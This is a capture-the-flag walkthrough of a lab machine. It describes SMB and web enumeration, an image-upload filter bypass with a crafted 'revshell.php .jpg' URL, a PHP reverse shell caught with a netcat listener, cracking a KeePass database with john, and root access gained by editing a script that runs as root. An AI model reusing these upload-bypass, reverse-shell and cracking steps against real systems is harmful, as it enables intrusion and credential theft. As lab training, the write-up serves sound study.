Let’s start:
We see SMB and HTTP here. I’ll start with SMB.
enum4linux also returns nothing interesting. Let’s go for http.
Start fuzzer:
Let’s investigate:
We see such login page. Now we sure know that server can run php.
Looking at fuzzing results we see cloud
directory, let’s check that.
Here we can see such service:
Let’s try to upload file here. To do so I will run python http server on my machine with
python -m http.server
I created file with echo '123' > test.txt
Let’s try to upload it!
It outputs: Please select an image
So let’s try with an image!
I copied random image and let’s try:
And it did upload it to http://10.10.126.109/cloud/images/image.jpg
The first thing I think we can do is to upload PHP revshell in a way that this site thinks it’s an image.
I grabbed php revshell by pentestmonkey from revshells.com and saved it as revshell.php
First thing that I tried was inputting
http://10.9.246.43:8000/revshell.php .jpg
And it did work!
It uploaded http://10.10.126.109/cloud/images/revshell.php
Let’s start listener with nc -lvnp 4444
And visit that url!
We got access! Let’s investigate this machine.
Upon investigation I discovered:
-
There is only one interesting user sysadmin
-
There are some interesting scripts at /home/sysadmin/scripts
-
There is interesting archive at /var/backups/backup.zip
-
There are credentials in /var/www/html/login.php
-
There is interesting file at /opt/dataset.kdbx
First of all let’s start with credentials in file
Let’s try that creds on login page that we saw earlier
Nothing interesting there. Password wasn’t reused
Let’s check archive:
Looks like a script that backs up all scripts that I’ve seen earlier.
Looking thru all scripts I found nothing interesting.
Let’s now see what is that dataset.kdbx
After googling I found that it’s KeePass Password Safe’s file and we can generate hash with keepass2john
and crack it with john:
On target:
On host:
Now we can access that file with tool such as keepassxc:
Here we can see user’s password in plaintext:
Let’s try it to access ssh:
And we got first flag!
Now we can edit files in scripts dir
We can just edit one of php files to run revshell and we will get root access!
So I uploaded revshell again and ran
Now we just start listener with
nc -lvnp 4444
Quite an easy privesc but machine was fun